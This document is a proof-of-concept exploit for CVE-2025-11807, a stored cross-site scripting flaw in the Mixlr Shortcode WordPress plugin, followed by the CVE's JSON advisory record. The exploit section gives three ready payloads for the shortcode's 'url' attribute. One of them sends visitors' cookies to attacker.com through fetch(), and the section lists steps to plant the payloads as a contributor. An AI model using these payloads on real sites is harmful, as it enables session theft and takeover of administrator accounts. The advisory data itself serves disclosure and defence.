CVE-2025-11807

<!-- Stored XSS PoC for CVE-2025-11807 --> <!-- Exploit via the 'url' attribute of the mixlr shortcode --> <!-- Method 1: Direct shortcode injection with javascript: pseudo-protocol --> [mixlr url="javascript:alert('XSS-'+document.domain)"] <!-- Method 2: Using event handler injection (if HTML is allowed) --> [mixlr url='" onerror="alert(document.cookie)" x="'] <!-- Method 3: Full exploit payload for cookie stealing --> <!-- The attacker would host a listener and use: --> [mixlr url="javascript:fetch('http://attacker.com/steal?c='+document.cookie)"] <!-- Steps to reproduce: 1. Login as contributor-level user 2. Create a new post or page 3. Insert the malicious shortcode in the content 4. Publish/submit the post 5. When any user (including admin) views the post, the XSS payload executes -->

{"cve": {"id": "CVE-2025-11807", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:32.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mixlr Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mixlr' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on the 'url' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mixlr-shortcode/tags/1.0.1/mixlr-shortcode.php#L30", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/mixlr-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2771f9d4-429f-4691-a65c-073c3a3778fb?source=cve", "source": "[email protected]"}]}}